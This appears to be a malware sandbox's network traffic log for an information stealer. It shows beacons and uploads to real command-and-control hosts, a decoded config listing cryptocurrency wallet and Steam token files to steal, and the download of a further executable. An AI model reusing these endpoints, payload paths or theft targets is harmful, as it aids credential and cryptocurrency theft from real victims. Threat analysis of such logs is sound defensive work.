00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 16, 2024 19:22:33.503899097 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 19:22:33.939253092 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 16, 2024 19:22:34.675127029 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 19:22:35.476972103 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 19:22:35.538842916 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGIEHJJJJEBGDAFHJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 2d 2d 0d 0a Data Ascii: ------IDHDGIEHJJJJEBGDAFHJContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------IDHDGIEHJJJJEBGDAFHJContent-Disposition: form-data; name="message"wallets------IDHDGIEHJJJJEBGDAFHJ--
Nov 16, 2024 19:22:36.038780928 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 16, 2024 19:22:36.042462111 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGCFCFHCFHIECAEHDH Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 2d 2d 0d 0a Data Ascii: ------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="message"files------BFBGCFCFHCFHIECAEHDH--
Nov 16, 2024 19:22:36.327328920 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 19:22:36.365336895 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDAKFBFBFBAAAAAEBKJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="file"------HJDAKFBFBFBAAAAAEBKJ--
Nov 16, 2024 19:22:37.146126986 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 19:22:37.169950008 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="message"ybncbhylepme------GHDHDGHJEBGIDGDGIJJK--
Nov 16, 2024 19:22:37.805238008 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49904	185.215.113.16	80	7340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:22:37.815913916 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 16, 2024 19:22:38.728104115 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:22:38 GMT Content-Type: application/octet-stream Content-Length: 3254784 Last-Modified: Sat, 16 Nov 2024 17:58:50 GMT Connection: keep-alive ETag: "6738dd5a-31aa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 b0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@1R2@WkH101 @.rsrcH@.idata @ygppzwcz**@slwnaylp11@.taggant01"1@
Nov 16, 2024 19:22:38.728166103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:22:38.728183031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:22:38.728198051 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:22:38.728244066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:22:38.728259087 CET	1236	IN	Data Raw: 31 6a 63 ec 17 e8 64 04 bd e9 2f d1 30 90 67 6c 98 ab a8 04 1d e2 8d 4a 64 0e 73 71 65 26 cb b4 31 6a 63 ec f7 e8 64 04 bd e9 2f d1 30 90 67 6c a0 ab a8 04 1d 52 93 4a 64 0e 53 71 65 26 cb 14 32 6a 63 ec d7 e8 64 04 bd e9 2f d1 30 90 67 6c a8 ab Data Ascii: 1jcd/0glJdsqe&1jcd/0glRJdSqe&2jcd/0gl*Jd3qe&t2jcd/0glJdqe&2jcd/0gl:Jdpe&43jcwd/0glJdpe&3jcWd/0glzJdpe&3jc7d/0gl
Nov 16, 2024 19:22:38.728285074 CET	224	IN	Data Raw: 1d ba 91 4a 64 0e b3 6c 65 26 cb f4 3f 6a 63 ec 37 e3 64 04 bd e9 2f d1 30 90 73 6c 18 ac a8 04 1d be 98 4a 64 0e 93 6c 65 26 cb 54 40 6a 63 ec 17 e3 64 04 bd e9 2f d1 30 90 73 6c 2c ac a8 04 1d 8a 91 4a 64 0e 73 6c 65 26 cb b4 40 6a 63 ec f7 e3 Data Ascii: Jdle&?jc7d/0slJdle&T@jcd/0sl,Jdsle&@jcd/0l@^JdSle&Ajcd/0sl`Jd3le&tAjcd/0wltzJdle&Ajcd/0klJJdke&4Bjcwd/0wl
Nov 16, 2024 19:22:38.728297949 CET	1236	IN	Data Raw: 1d f2 92 4a 64 0e d3 6b 65 26 cb 94 42 6a 63 ec 57 e2 64 04 bd e9 2f d1 30 90 6b 6c b0 ad a8 04 1d c6 99 4a 64 0e b3 6b 65 26 cb f4 42 6a 63 ec 37 e2 64 04 bd e9 2f d1 30 90 77 6c bc ad a8 04 1d d2 97 4a 64 0e 93 6b 65 26 cb 54 43 6a 63 ec 17 e2 Data Ascii: Jdke&BjcWd/0klJdke&Bjc7d/0wlJdke&TCjcd/0slRJdske&Cjcd/0glJdSke&Djcd/0{lJd3ke&tDjcd/0slJdke&Djcd/0kl Jdje&4Ejcwd
Nov 16, 2024 19:22:38.728316069 CET	1236	IN	Data Raw: bd e9 2f d1 30 90 73 6c 18 b1 a8 04 1d 42 94 4a 64 0e f3 66 65 26 cb 34 51 6a 63 ec 77 de 64 04 bd e9 2f d1 30 90 67 6c 2c b1 a8 04 1d b2 96 4a 64 0e d3 66 65 26 cb 94 51 6a 63 ec 57 dd 64 04 bd e9 2f d1 30 90 67 6c 34 b1 a8 04 1d d2 8e 4a 64 0e Data Ascii: /0slBJdfe&4Qjcwd/0gl,Jdfe&QjcWd/0gl4Jdfe&Qjc7d/0sl<Jdfe&TRjcd/0glPJdsfe&Rjcd/0{lXJdSfe&Sjcd/0ltJd3fe&tSjcd/0olJd
Nov 16, 2024 19:22:38.728337049 CET	224	IN	Data Raw: 60 b1 b8 0c f1 6b 57 5b ef 17 ed 59 58 b3 b1 08 2a 6b 5b 06 b5 35 ba c4 2b 2c f7 09 a9 26 b3 6a 73 fc 64 ec fc 3b 66 04 ef 73 5f 88 28 2e ee ca 97 f3 c1 ec 2e d2 64 04 ef 0b c1 c6 68 26 2f d1 30 7b ee f0 ba b1 54 14 bb e6 f0 4a 68 76 2a 0b f8 2b Data Ascii: `kW[YXk[5+,&jsd;fs_(..dh&/0{TJhv+59kk$;fkh&/0+'&;f/0/0/0/0bId,&0{T*+g&hennp\|K'c(.%d5:gg
Nov 16, 2024 19:22:38.733169079 CET	1236	IN	Data Raw: a9 26 2a 06 d8 2c a8 04 27 f2 2f d1 30 f2 2f d1 30 77 4b e6 f5 27 63 5d 27 f2 2f d1 30 f2 2f d1 30 7b ee f0 ba 25 d9 0c ef 17 ba ec 6c b7 64 04 e7 ea 6b 8f 2a 84 c0 c6 68 26 2f d1 30 f2 2f d1 30 7b ee f0 ba b1 d8 0c 73 7d 23 5b ca 35 39 0b 4c 20 Data Ascii: &,'/0/0wK'c]'/0/0{%ldkh&/0/0{s}#[59L d\|K'c(.&0/0/0/0{%jch&cdvlc7)vIXd&c.J`&cdvKi'c0/0/0/0{pL7c%cmh&kWULyd/0{TJhv+59kk$*P9f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49959	185.215.113.206	80	7340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:22:45.202646017 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDHJEGIEBFHDGDGHDHI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 2d 2d 0d 0a Data Ascii: ------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGDHJEGIEBFHDGDGHDHI--
Nov 16, 2024 19:22:46.626899958 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50077	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:05.898051977 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:23:06.796721935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50090	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:08.311707020 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
